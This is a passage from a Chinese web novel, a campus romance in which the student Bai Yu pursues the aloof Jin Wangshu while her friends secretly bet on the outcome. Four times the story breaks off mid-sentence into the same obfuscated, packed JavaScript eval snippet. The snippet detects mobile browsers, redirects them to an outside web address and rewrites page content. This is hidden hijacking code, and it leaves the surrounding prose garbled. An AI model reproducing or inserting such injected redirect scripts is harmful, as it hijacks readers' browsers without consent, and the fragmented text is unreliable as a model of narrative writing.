门外男生无奈的声音有几分耳熟，“怎么你也要吃咸的？” 他牵着的女孩很是漂亮，佯装生气地问，“什么叫我也啊，还有谁要吃？” 白榆忽然有了力气，起身过去把教室后门关上。 倒不是对他余情未了，只是问号哥的忽然出现，无疑在提醒她，此刻她还是单身。 回到座位上坐好，白榆手指才搭在键盘上打了几个字，忽然心跳的速度开始加快。 她的手不受控的开始发抖，一股反胃感继而涌了上来。 坐在旁边的许仪苏敏锐发现她的不对劲，“甜甜？怎么了？是不是不舒服了？” “没，没有，我就是想上厕所。” 白榆一边撑着笑解释，一边努力起身打开后门走了出去。 她发病的事情，并不是很想让室友知道。 她们总喜欢小题大做，搞不好又要在这样的关头耽误论文的进度。 一颗药就能稳定下来的事。 白榆没去厕所，偷偷拐到一旁的小阳台上，手扶着栏杆弯腰干呕了几次没吐出任何东西来，稍微休息一下才抬手在口袋里面掏了掏。 不幸的是，掏了个空。 白榆稍微顿了下，又把身上的外套口袋扯到眼前仔细察看。 片刻之后她意识到，自己好像没把药放在这件外套里面。 白榆拍了下脑袋，心跳的速度还维持在一个很高的水平，秋风刮过她额角沁出的汗却感觉不到丁点凉意。 莫名的心慌让她有股快要窒息的感觉，转身想要回去教室拿手机坐校内的公交车暂时回宿舍一趟，却又怕被室友看出端倪。 正犹豫着，余光忽然瞟到楼下站着的两个人。 他们正在解锁电动车，应该是打算回寝室。 白榆咬咬牙，快速找到楼梯跑下去两层到教室门口。 大喊着其中她认识的那人名字，“靳望舒！” 靳望舒正拿着钥匙插进锁孔，双手扶着电动车的车把把车推出来。 因为是小课间，这会儿楼下没什么人，他纳闷转头，便看见白榆那张小脸痛苦地皱成一团。 他没吭声，倒是一旁的杨敬津先开了口，“你不是栖栖室友吗？我记得你们这节有课啊。” 白榆曾经和杨敬津打过几次照面，但都没说过话。 她此刻更无暇寒暄，急着上前，弓着身子抬手就扯住了靳望舒的衣角。 “你能载我回寝室一趟吗？” 靳望舒顿在那儿。 杨敬津以为他嫌麻烦，连忙上前圆场，“你不舒服吗？我送你吧，阿靳他……” 他话没说完就被打断。 靳望舒长腿跨上驾驶座，“上车。” “谢谢。” 白榆说着，连忙坐上小电动的后座。 杨敬津这会儿才顾得上想想自己，“那我怎么办？” 回应他的是刮过耳畔的风声，扬起的沙迷了下眼，待他再睁开靳望舒已经把车开出百米外。 “……” 平时也不见他这么好心。 杨敬津认命拿起手机，打开某个六人群聊之后脸上的阴霾忽然一扫而空。 他意味深长地打字发送，【我觉得，有戏。】 因为难受，白榆几乎是缩在靳望舒的后座。 驾驶座的位置要比后座的位置稍微高一些，靳望舒的肩膀比想象中宽阔，替她挡了迎面的风。 白榆没敢扶着他，却又惜命，只用指尖捏着他的一点点衣角。 忽然的声音顺着风送到她的耳畔，“哪里难受？” “胃痛。” 有心理疾病的事情，她也不是逢人就说。 “送你去医务室？” “不用，寝室有药。” “扶稳，我开快点。” “啊？” 白榆瞬间不知所措起来，“扶……扶哪儿？” 这话靳望舒没回，不知道是不是没听见。 车子猛然加速，白榆一时不察，身体后仰后又快速前倾贴到了他的背上。 一股陌生的凌冽气息瞬间充斥鼻腔，像是晴朗冬日里面的冷空气的气味，阳光晒过带着淡淡的皂感。 白榆捏着他衣角的手变成攥紧他腰侧的衣料，慌忙下拉开和他的距离。 他今天穿了一身黑色的冲锋衣外套。 下意识搓了下脸，看向她刚才贴上去的那块儿。 幸好今天没化妆。 这栋教学楼离寝室是最远的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320902|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，靳望舒加了速，大概五分钟后到女寝楼下。 白榆下车，“谢谢。” “我在这儿等你。” “？” 白榆转身刚走了两步，她转过头，盯着靳望舒那张没什么表情的脸，满脸写着疑惑。 他微微蹙眉，“不是还要去上课？” 他这意思是？还要送她回去？ 那多不好意思…… “那你等我下，我很快！” 方便谁都不如方便自己。 白榆丢下一句话就快速跑到了寝室里面。 靳望舒盯着她的背影消失，唇角忽然勾起一抹弧度。 片刻却又压下。 白榆很快上了楼，宿舍用的门锁还是老式的锁头和门栓，这个锁头没那么好用，她开门稍微费了点劲儿。 走到自己桌子前拿起药塞到嘴里，就着水吞服下去之后才坐下稍微歇了口气。 心慌的感觉仍然在，手臂还会无意识的发抖。 药效发挥作用需要一段时间。 她宿舍的朝向正好，白榆走到阳台向楼下看了一眼。 靳望舒长腿支着地面，正低头把他敞开的外套拉链拉上。 旁边零星路过几个人，目光有意无意的都会落在他身上。 白榆盯着他头顶的发旋，一时失了神。 要不，别等明天了。 这样的想法在脑海中闪过一瞬，底下的人忽然抬起头来。 目光对上的瞬间，白榆快速收回自己的小脑袋，然后拿起钥匙锁好门下了楼。 “不好意思，久等了。” 白榆快步上前，熟练坐上他的后座。 “好点了吗？” 靳望舒握着车把转弯，一边问了句。 “好多了。” 车子倾斜了下，白榆下意识抬手抓住靳望舒的外套边沿。 似是感觉到她的动作，靳望舒转头看了一眼，“扶着。” “啊？” “我这衣服挺贵的。” “噢……不好意思。” 白榆松了手。 瞟了一眼自己抓出来的密密麻麻褶皱。 她试图给那块抚平一点，靳望舒又突然加速。 白榆的脸再次贴到他的背。 “……” 她抬手揉了下自己的鼻尖，这次撞得好痛。 靳望舒没有减速的意思，也许只是想让她少错过那堂水课一点。 学霸是这样的，见不得别人旷课。 白榆抬手贴在他的腰侧，稍稍收紧一点扶住。 虽然她还是有点害怕他，但生命价更高。 才走了一半的路，车子的速度忽然慢了下来。 靳望舒又用力拧了两下车把，“没电了。” “啊？那我走过去吧，也不远了。” “下坡，能到。” 靳望舒微微扭头看了她一眼，“比你走快。” 速度渐缓，白榆松开了扶着他腰侧的手，“明天就一号了，我请你吃饭。” “行。” 出乎意料地，靳望舒并没问她怎么不等到月末。 白榆继续问，“那我选吃什么可以吗？” “可以。” “也请你喝奶茶？” “嗯。” “你接我去餐厅吧？” “行。” “和我谈恋爱吗？” “？” 5. 下坠chapter 电动车在教学楼门前缓缓停下。 白榆感觉药效已经上来了，她身体舒服不少，起身跨下了车。 刚才的话，靳望舒没回她。 她盯着他的背影道了谢，“谢谢。” “这么想跟我谈恋爱，为什么？” 为什么？ 这怎么说？ 总不能真的跟他讲是因为室友愿意给她五百块吧。 那他还能跟她在一起吗？ “因为，我缺个对象。” 靳望舒挑了下眉，忽然低笑一声，“回头我送你套象棋。” “？” “里面有两对象。” “……” 他还挺幽默。 白榆回到教室的时候后半节课已经上课了十分钟。 她通过敞开的后门若无其事地回到位置上坐下。 一旁的许仪苏碰了碰她，“不是去厕所吗？怎么上了靳望舒的车？” 白榆惊呆，“！？！你怎么知道？” “刚刚课间去小阳台放风看见的。” 杨静栖也挪揄道，“他带你去哪儿了？” 白榆略过这个问题，“刚才我跟他表白了。” “怎么说！？” “我说，我缺个对象。” “他说，送我套象棋，里面有两对象。” 室友三人沉默了会儿，忽然拿出手机在群聊里面疯狂发消息。 【还没在一起就要送礼物了。】 【这么贴心解决你的问题，他一定是爱你。】 【磕死我了（半哭半笑）】 【疯了吧你们？】 【他明摆着是拒绝了我。】 【甜甜，一看你就没追过人，拒绝你就不会逗你笑了。】 【自信点，他超爱，而且没人能拒绝你，简琳都不行。】 【男人的矜持不能让他轻易答应罢了，都是手段。】 左一言右一句的，白榆差点被她们哄成胚胎。 最后还真有点飘飘然，【真的……是这样吗……】 转头，身旁排成一排的三个脑袋十分同频地对着她用力点了点头。 她真没追过人，可不要骗她啊。 白榆低下头看着手机，又打开和【五百】的聊天框。 【明天吃石锅饭吧。】 靳望舒没立刻回，他这会儿应该在推着车回宿舍的路上。 白榆没太在意，返回又看见一条新消息。 是班长发来的，【白榆同学，学院的元旦晚会想要参加吗？我记得你会一些特长。】 特长倒是有不少。 但…… 【马上开始实训了，我怕没时间去排练。】 【选个你擅长的节目嘛，咱们班一定要出几个人的，按学号排到的同学也不一定就能表演节目，求求帮帮忙（双手合十）。】 【那麻烦帮我报一个小提琴独奏吧。】 【没问题！】 元旦的节目不会太文艺，白榆害怕冷场，就选了一首比较流行的歌曲——《起风了》 唯一的问题就是她还没拉过这首，需要练习几次。 距离演出的时间还早，暂时把这件事情抛到脑后，靳望舒回了她的消息。 【可以。】 不管什么他都答应，唯独不肯跟她在一起。 想起简琳说的那句——矜持。 且让他再矜持几天。 次日，白榆在宿舍赶了一上午论文提交之后朝着餐厅狂奔过去。 竟然险些忘了自己今天请靳望舒吃饭，差点赶不上下课的时间。 她来得比下课时间早些，石锅饭的窗口没人，白榆把菜单拍给靳望舒。 【你吃什么？】 【你吃什么？】 “？” 白榆揉着眼睛反复看着屏幕上的聊天记录。 她差点以为自己发出去两次。 不知道靳望舒为什么这么问，但她还是应了句：【石锅茄子。】 【一样。】 学人精。 白榆打开微信支付，过去找餐口的大娘，“两份石锅茄子，在这吃。” “阿姨，我一会儿过来拿。” “好嘞！” 白榆转而到楼下去点奶茶。 她照例拍照给靳望舒发过去。 这次她学着他的语气，【选。】 果然，他问：【你喝哪个？】 白榆扬了扬眉，【你喝哪个？】 “……” 过了一会儿那边才回复，【草莓摇摇奶昔，少冰，少糖。】 【你呢？】 白榆勾起唇笑笑，【不一样。】 【……】 今天气温有些下降，白榆给自己点了一杯常温的草莓啵啵。 回到楼上等了七八分钟石锅饭才好，此刻也正好到了下课时间。 石锅很重，白榆折腾了两次才把盘子端到餐桌上。 拿着筷子坐下的时候又忽然想起什么，给齐志虹发了个消息，【今天在哪吃？】 【？你要请我吗？】 【我没说。】 片刻，齐志虹发来自己宿舍桌上铺满的文件资料照片，【在赶论文，暂时不吃。】 【不打扰你们约会。】 “……？” 白榆嘴角一抽，略微扬了扬眉梢，他怎么知道自己今天要和靳望舒吃饭？ 想了半天想不通她索性不再想，转而给他发消息，【周末陪我回家一趟拿小提琴。】 齐志虹不用脑子想都知道，她就是懒得自己拿。 【你别回去了，我帮你拿吧。】 【不，你给干妈说你想吃她做的打卤面。】 【……是不是还要让她多做一碗？】 白榆给他发了个【你真聪明】的表情包。 他没再多说什么，只发来一条毫不相干的消息，【友情提醒，靳望舒跟别人不太一样。】 【他比较轴。】 什么意思？ 白榆没懂，也许是比较难追的意思吧？ 【没事。】 她被室友哄得自信的要命，【我可不是什么很一般的角色。】 齐志虹回了她一个【擦汗】的表情，也许是被她自信到自惭形秽了。 “不好意思，来晚了些。” 头顶忽然传来道并不是很熟悉的声音。 白榆下意识抬头，认出是靳望舒后才对着他笑笑。 “没事，我也等了半天了。” “……” 靳望舒看了她一眼，转而到对面的位置拉开椅子坐下。 “不是说我今天接你来餐厅吗？怎么先来了？” 有这事儿？白榆早就不记得了。 “我上午没课，我给忘了。” 靳望舒拿起筷子，“也接。” 好有原则一帅哥。 是她不懂事了。 “下次一定。” 靳望舒闻言抬了抬头，白榆从他目光中读到一种质疑，也许是在问——“怎么还有下次？” 是喔。 今天这顿饭吃完了，她就又失去了和靳望舒接触的借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320903|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 莫名地，她脱口而出，“等你送我象棋的时候，我再请你。” “不用。” 这是这几天来靳望舒第一次对她说“不”。 他解释，“省着点，别月底再去要饭。” “……” “靳望舒，有没有人跟你说过，其实你是个好人。” 还挺会关心人。 亏她那么害怕他，觉得他是个总能给人带来低气压的人物，都怪齐志虹总跟她那么说。 “我不是。” 靳望舒带着冷意的目光扫过她。 白榆愣了下，她觉得，他好像有点不高兴了。 好吧，齐志虹确实也没说错。 忽然的冷场让之后都没了话题，和上次一样，白榆吃完的时候，靳望舒还剩下一半。 “下午有课吗？” 白榆打开手机，正想随便看看新闻等他，忽然听见靳望舒问了句。 她又关掉手机放在一边，“嗯，下午满课。” “吃完了就先回去吧。” “那多不好意思。” “不用不好意思，谁让你等我等了挺久的。” “……” 还挺记仇。 心想着也许追求一种时间的平等也是这位学霸的原则之一，白榆没跟他拉扯。 当然，主要原因是她想回去睡个午觉。 盯着毫无感情起身就走的那个背影，靳望舒深吸了一口气。 两分钟把剩下的半碗饭吃完，手机上跳出一条消息。 不是她。 往上翻了翻，是昨晚齐志虹给他发的一条消息。 【她不是个有耐心的人，再矜持，小心她再不问。】 靳望舒回复他，【随便。】 果然，她今天没再问。 * 周末，齐志虹开车载着白榆回家拿小提琴。 从学校开车回去大概要半小时，白榆坐在副驾驶，对着镜子把自己的头发扎成两个搭在胸前的辫子。 “你跟干妈说你要吃打卤面了吗？” “说了，”他看了眼时间，“这会应该做好了，我妈说她还做了糖醋鱼，你爱吃的。” “咦？她怎么知道我回去？” “可能是因为我从来不吃打卤面吧。” “……” 白寻茹和齐倩两人关系好，买的是联排别墅中紧挨着的两栋，但具体也没分清哪栋是谁家，一般都是想在哪待着就在哪待着了。 两个孩子也是爱住哪儿就住哪儿。 好的跟一家人没什么区别。 白色保时捷车身流畅，稳稳在院内摆满各种花盆的门前刹停。 打开车门下车，门内忽然冲出一条毛色金亮的金毛扒着门摇着尾巴大叫。 “格格！” “有没有想我！” 白榆立刻开门给它放出来，蹲下和它玩了好一阵。 齐志虹无奈上前摸了格格一把，“至今我还是不能接受它这个女孩儿名。” “我看格格挺喜欢的。” 格格今年应该也就三岁多，这个名字是当时白榆沉迷回顾还珠格格，正好就起了。 “甜甜，小虹，你们回来了？” 齐倩的声音从屋内传来。 齐志虹再次深吸一口气之后抬手扶了扶额头。 白榆学着他的语气，几乎和他异口同声，“都说了几次了，不要叫我小红。” 齐志虹沉默两秒。 白榆抱着格格贴贴，“哥哥也叫女孩儿名。” “……” 6. 下坠chapter 白榆先一步带着格格进了屋，齐倩正巧把菜摆在餐桌上。 “干妈，我妈还没回来吗？” “没呢，不知道去哪里玩了，我最近也联系不上她。” 白寻茹的主业是投资人，经常满世界跑，白榆很少在家里看见她。 但尽管如此，她对白榆的情感关怀一点不少，经常给她发消息打电话亲亲宝贝叫个没完。 白榆时常觉得白寻茹好像一直没离开过她。 “妈，都快冬天了，你怎么还把花养在外面？” “我没打算养在外面。” 齐倩把手擦干，“这不是等你回来搬呢。” “……知道了，我吃完饭就搬。” 齐倩的手艺可以说是相当不错，白榆偶尔回家都是为了特意吃口她的饭。 最主要的是，她也喜欢研究这些，作为自媒体人的她时间自由，经常居家办公，没事就养养花研究研究怎么做小蛋糕，听说，她最近还喜欢上了油画。 白榆特别喜欢她的生活态度，反而觉得自己的母亲太过忙碌。 一顿饭很快吃完，白榆吃得发撑才停下。 “甜甜，想吃我做的就随时让小虹开车回来，凌晨三点干妈也起来给你做。” “妈，你别太惯着她，凌晨三点还吃饭，她来年都穿不下之前买的衣服。” 桌子下，白榆抬脚狠狠踩在齐志虹的鞋面。 脸上依然挂着甜美可人的笑，“干妈，有小蛋糕吗？我想带回去给室友尝尝。” “有的有的，我最近还研究出一个新品曲奇，明天做好给你们带回去。” “谢谢干妈！” “这孩子，别客气。”齐倩揉了揉她的小脑袋瓜。 白榆得意望了齐志虹一眼，收回自己踩着他的脚起身上了楼。 两栋别墅都有她的房间，但她更偏爱住在这边，齐倩会给她的房间放很多的可爱小玩偶，还会用干花编成花环挂在她的房间门上。 她觉得这样特别温馨。 这不，才几天没回来，房间里面又添了几只手工编织的粉色兔子。 白榆抱起兔子凑近闻了下，还能闻到淡淡的花果香气。 爱不释手地把玩偶搂在怀里，白榆又想起什么，她喊了齐志虹一声，“小红！！！” 果然，只要叫这个名字，他来的比谁都快。 话落，齐志虹几乎是一个闪现出现在她房间门口，语气带着几分不耐，“干什么干什么？” “一会儿带我去趟医院吧。” “怎么了？不舒服了？” “之前开的药吃没了，还要去拿点。” 这两天都维持着单身的状态，白榆今天早上正好吃了学校里面的最后一颗药。 “行。” 齐志虹表情正经了些，“记得找下医院的诊疗卡，去一次重新办一张，你知不知那一张要十块呢。” “噢，现在知道了。” “之前你也没说。” “……” 这两年来都重新办过多少次了？不付钱不心疼是不是？ 齐志虹说他要先去洗个澡，白榆也不急，因为她太清楚了，那所谓的诊疗卡一时半会儿真的很难找到。 她的房间不小，书桌很大一张，摆在采光最好的位置，旁边还立着一个两米高的白色书架，上面堆满了她喜欢的手办和小说。 白榆踩着凳子上去一个格子一个格子翻找，最后在最里面的地方找到了医院的袋子。 她伸着手把那袋子扯出来，一起扯下来的还有几本没固定稳的书。 书本砸在柔软的地毯上，只发出几声闷响。 白榆用手扇了扇扬起的灰尘，跳下凳子把几本书捡起来。 这几本书有些旧了，好像是十几年前出版的读物，还和高一的教材摆在一起。 书皮有些褪色，书页也黏在一起，页边还泛着黄。 好奇翻开，发现是之前的古早言情小说。 她最喜欢在课上偷偷看的那种。 应该是高三收拾书的时候一起收拾回来的，怪不得和教材摆在一起。 随意翻看了几页竟然还觉得有些意思，白榆兴致勃勃坐在地毯上看了起来。 大约看了七八章，后面的书页松散开，什么东西从书里滑落，掉在了白榆的腿上。 是一张硬质的卡片。 白榆拾起来看了一眼，卡片是蓝色的，正面还有她的证件照姓名等信息，是一张游泳证。 她蹙了蹙眉。 可是，她根本就不会游泳。 “甜儿，你诊疗卡找到了吗？我好了，走吧。” 齐志虹的声音从房间外传来。 他说着已经走到白榆身边，看了眼她手里的东西，“这个是吗？” “不是。” 齐志虹发现卡片是什么之后默默收了起来，“这你在哪找的？” “就书里夹着的，我不是不会游泳吗？” “嗯，是不会，当时大家都办的，学校统一要求的。” 齐志虹没多说，弯腰捡起地上医院的袋子，在里面翻出一张诊疗卡，“这个就行，走了。” 白榆并不是很喜欢医院的气味，但这个药必须本人去取。 她无奈下车跟着齐志虹进了医院。 齐志虹握着她的手腕，另一只手拿着取药单子和药房的护士核对药品数目。 白榆在后面悄咪咪走神，她转头看着大厅里面熙攘的人群，刚想发呆便看见个熟悉的身影。 诊疗台那边一个男生正拿着单子询问着护士什么，得到回答之后紧接着从另一个方向上了楼。 靳望舒，他来医院干什么？ 白榆一只手掏出手机，正好有了理由给他发消息，【你生病了吗？】 约莫两秒之后得到回复，【怎么这么问？】 【我也在医院，刚刚好像看见你了。】 【是不是看错了？我现在在实验室。】 【在干什么？】 【做实验。】 【噢，那可能，是你们帅的很相似。】 白榆随便回了句就收起手机。 “拿好了，走吧。” 齐志虹短暂的松开了她一下，把药都装进袋子里面，之后又重新牵着她朝着外面走。 “噢。”白榆忍不住转头看了眼。 还没看清什么又被齐志虹拉着走，“快点，哥哥还得去打台球呢。” 白榆立刻抱住他的手臂，“也带我去吧，小红。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320904|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 齐志虹咬着牙，“别逼我在外面最快乐的时候扇你。” “你在家也不敢。”白榆松开他之后还转身对着他眨眼挑衅，“小红。” 始作俑者几乎是说完就一溜烟窜了出去，白榆偶尔会觉得把齐志虹惹炸毛是一件特别有趣的事情。 殊不知身后的二楼围栏那儿，身着黑色卫衣的男生在看见门口两人打打闹闹出门之后，皱起的眉头才缓缓舒展。 靳望舒盯了一眼手里的单子后转身坐上电梯，四楼走廊左拐的第三间病房里面有个五岁多的小男孩儿坐在那顶着烧红的脸挂水。 听见脚步声才缓缓睁开眼，对着靳望舒可怜兮兮的喊了一声，“哥哥，好痛。” 根据白榆的描述，那天和齐志虹的打闹以她爬上车顶，而齐志虹跪在地上给她磕了十个头叫她姑奶奶才结束。 杨静栖满脸写着不信，“不会吧？” 简琳轻嗤一声，“明显是假的，就你还搭理她。” 许仪苏转移话题，“甜甜，和靳望舒进展怎么样了？你也不好总吃药。” “就那样。” 白榆看着手机屏幕上和他的聊天记录，那天之后他只回了一个【嗯】字就结束。 隔了几天都没说过话。 看得出来，他是个边界感极重的。 是她的询问冒犯到他了。 撇撇嘴，白榆收拾东西背着小提琴起身，“下午没课，我去练琴。” “行，晚上吃饭喊你。” 白榆转身出门，还顺手带了几包垃圾丢在楼下垃圾桶。 她没立刻去琴房，先拐到餐厅打算点杯奶茶带过去。 只走近几步，便看见店前排队的几人中有个熟悉的身影。 她故意装作没看见，走到他身侧点单，“一杯桃桃奶昔，少冰，谢谢。” 话落，店员把单子交给她。 靳望舒的声音忽然从头顶传了过来，“这种天气还喝冰的。” 白榆无辜转头，认真端详着他的模样，“不好意思，我们认识？” 靳望舒挑了下眉。 白榆不好意思笑笑，“哎呀，你看看我，和你帅的相似的分身太多，都不知道哪个是你本人了。” “……” 沉默片刻，一旁奶茶店柜台里面的杨敬津忽然起身，他笑着凑上前推荐。 “两位认识吗？我们现在有活动，买两杯可以送情侣证，两位需要吗？” 白榆盯着他殷切的模样，还当真询问了起来，“不能打折吗？” “能啊！”杨敬津咬咬牙，“拿情侣证能消费十次九折双杯噢！” 白榆笑眯眯地看着他，好说好商量，“同学，九折也太少了。” “那你们想要多少呢？” “五折吧，买一杯送一杯才像情侣啊。” 杨敬津嘴角抽了下，“这也太……” 白榆点了点唇，“不行的话就不要了噢。” 他连忙改口，“行，当然行。” 满意点了点头，白榆这才转头看向一旁有着些许疑惑的靳望舒。 她这次可没有从前那么礼貌，故意带着一种无所谓的口吻，“同学，你要和我在一起吗？” “不要的话，我再问问下一位。” 7. 下坠chapter 第三次了，再不正面回应，就太没礼貌了点。 白榆偷瞄着靳望舒的反应，接过店员递来的已经做好的奶茶。 见身侧的人依然没有动作，她扭头转身打算走。 擦肩而过的瞬间手腕忽然被人扯住。 靳望舒骨节分明的五指圈着她粉色的衬衫袖口，更衬出他皮肤白皙。 疑惑抬头正想开口询问他这是什么意思，却见他轮廓锋利的喉结滑动了下。 从这个角度能看见他修长的侧颈，往上便是泛着淡粉色的薄唇一张一合， “我那杯，算打折。” 和白榆一起愣住的还有柜台的杨敬津。 他半晌才回神，“……噢，那，那你喝什么？” “桃桃奶昔，少冰，少糖。” 白榆下意识看了眼自己手里拿着的那杯。 靳望舒没有自己的食谱吗？ 不过…… “靳望舒。” “嗯。” “你答应我了吗？” “算是。” 白榆没忍住撇了下嘴，什么叫算是？ 但也勉强还行。 她掏出手机立刻对着靳望舒握着她手腕那只手拍了张照片，转头发在了宿舍群。 还没等她打字，底下已经弹出几条消息。 【这是谁？】 【你们在干什么？牵手吗？】 【你不追靳望舒了吗？】 【靳望舒大概不送我象棋了。】 【？为什么？】 【因为我的象来了。】 【……】 【尴尬扶额.jpg】 【这是靳望舒吗？】 【是的，不信去找栖栖哥哥求证。】 【跟他有什么关系？细说。】 “奶茶好了，还有，这是二位的情侣证。” 白榆听见杨敬津的声音稍微抬头看了眼，之后更是抽出那只被桎梏住的手打字。 【他给我俩发的证。】 【？？？】 【什么证啊？结婚证吗？】 【你说的是中国话吗孩子？】 白榆不解释，转而艾特简琳，【老板，结账。】 简琳没立刻回复，只把这几条消息转发到某个名叫【属于CP大作战】的六人群组。 这次艾特了一位名叫江宋的人，【老板，结账。】 一千元的红包下一秒就发了过来。 简琳收了钱之后转给白榆五百，又把剩下的五百平分给三人。 六人群进行妥善的资金分配之后炸开了锅—— 杨敬津：【没意思，结束的也太快了。】 齐志虹：【呦，他竟然真的答应，看来我们家甜甜魅力还是太大了。】 江宋：【还要赌吗？输了算我的，赢了算你们的。】 杨静栖：【不要，光你一个人出血干什么？我们这边都是众筹的。】 许仪苏：【就是，公平一点啊，不能因为有个高富帅室友就一天到晚的白吃白喝。】 杨敬津：【我出血了噢！狗屁情侣证打折啊，那十杯奶茶可是我自己贴的！】 简琳：【我赌这段感情最多不超过半个月。】 江宋：【最少一个月，输了请你们一顿鲜合堂火锅。】 杨敬津：【哥们儿你要不要和我们商量一下啊？那儿一顿得两千多吧？】 齐志虹：【我没意见。】 杨敬津：【……】 杨静栖：【杨斤斤你不要太抠门了，家里一个月给你生活费都不止两千。】 许仪苏：【我们输了要干什么？】 江宋：【马上我们开始实训，帮忙带一个月早餐吧。】 简琳：【没问题。】 放下手机，简琳拿着桌上的橘子剥皮，许仪苏不解，“我一直没懂，杨敬津为什么还要帮忙？他们不是赌他俩不能在一起吗？” “谁知道呢。” 简琳动作当即一顿，“也许，他们其实也希望他俩在一起呢。” “你是说……靳望舒喜欢甜甜？” “也不是没有可能啊，毕竟甜甜那么招人喜欢。” “但是，我说一句啊，靳望舒那个性格看起来不像是会喜欢人的。” “那他这次为什么忽然答应？” “可能，只是为了那几杯奶茶打折吧。” “十杯呢，真的很多。” “……” 实不相瞒，白榆也是这样觉得的。 她得意转身离开的时候，还听见柜台的杨敬津很不耐烦地应付下一个人，“今天活动没有了，只能领证不能打折。” 豁，她运气还挺不错。 白榆收起手机，拎着奶茶走出餐厅，迈下门口几个台阶之后猛然转身，和紧跟着她的靳望舒几乎鞋尖抵着鞋尖。 早察觉到他跟着她，却也没想到是这样近的距离。 白榆稍微愣了下，回神后又对着他笑，“下午有课吗？” 靳望舒往后退了一步，自然地和她拉开距离，“没。” 他紧接着问了句，“你去哪儿？” “琴房。” “要我送你吗？” “不用。” 靳望舒点了点头，转身把自己手里提着的那杯奶茶挂在了车把手上。 手里拿着的鲜红封皮情侣证顺手丢在车筐，跨坐上车后手刚扶上车把，后座忽然一沉。 “早说你骑车。” “……？” 白榆轻咳两声，态度非常不错，“请您送我。” “……” 学校的琴房在属于音乐系的那栋楼，白榆平时并不常去。 她抬手扶在靳望舒的腰侧，“你知道琴房在哪儿吗？” “嗯。” 得到肯定的答复，白榆不再说话。 车子在校园里面七拐八拐的，最后停在了教学楼的门口。 白榆下车，先拿起手机看自己提前预约的琴房位置。 页面上显示的只有B-601，她抬头看了眼面前三四个连在一起的奇怪建筑。 她头疼地看向一边的靳望舒，“或许……你能送我上去吗？” 既然答应了她的追求，那么这点儿小小的要求，应该也算是合理吧。 靳望舒抬眸，看了一眼她递过来的手机页面，记下那个琴房的编号后下车拔下钥匙。 “走吧。” “感谢！你人真好！” 白榆下意识道谢，靳望舒的脚步却顿了下，他蹙着眉扭头看过来。 噢，白榆忽然想起，他似乎并不喜欢别人这样说他。 “我的意思是……你人真好……看。” 靳望舒唇角扬了下，蓦然轻嗤了声，“我知道。” “不用你说。” “……” 白榆跟在靳望舒身后走了几步，之后实在忍不住默默翻了个白眼。 “你来过琴房很多次吗？” 几个拐弯他看都没看就能确定方向，通往六楼的电梯是单独一个，藏在犄角旮旯里面，他也是很顺利就找到。 “没来过。” 靳望舒随便应了一句，抬手按了电梯。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320905|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根据地图上标注的地点，应该不会走错。” “地图在哪？” “录取通知书里面装了，你没有？” “我是说，你现在并没看地图。” “嗯，之前看过。” 之前看过，记到现在。 “之前是什么时候？” “打开录取通知书的时候。” “……” 这么好的脑子不学文可惜了。 不过，这两句话说的也太装了。 白榆默默把嘴撇到一边，盯着靳望舒的背影若有所思。 “对了，你周末有空吗？” 电梯门打开，两人缓缓走进去。 “不确定。” “那有空的话，我们可以出去约会吗？” “不用太久的，和我一起拍个十张照片就行。” “我不喜欢拍照。” 电梯到了六楼，靳望舒大步迈了出去。 白榆连忙跟上，因为着急她干脆伸手扯着他的袖口，“就拍十张就行！拜托拜托！” 靳望舒盯了一眼自己被扯住的袖口，倒是没甩开，“非要拍的话，给我个理由。” “因为，这是我的选修课作业。” 从靳望舒的表情来判断，白榆觉得自己这个理由糟糕透了。 他板着一张脸不说话，脚步忽然顿住，语气也冷冰冰的，“你到了。” 白榆就站在那儿不动，仰着头用可怜兮兮的表情盯着他，揪着他袖口的手臂一晃一晃的，“帮帮忙嘛，我就你一个男朋友。” 不知道是被白榆的诚恳打动，还是因为别的什么，靳望舒的表情有些动容，“要跟男朋友拍？” 白榆点点头。 “你这是什么课的作业？” 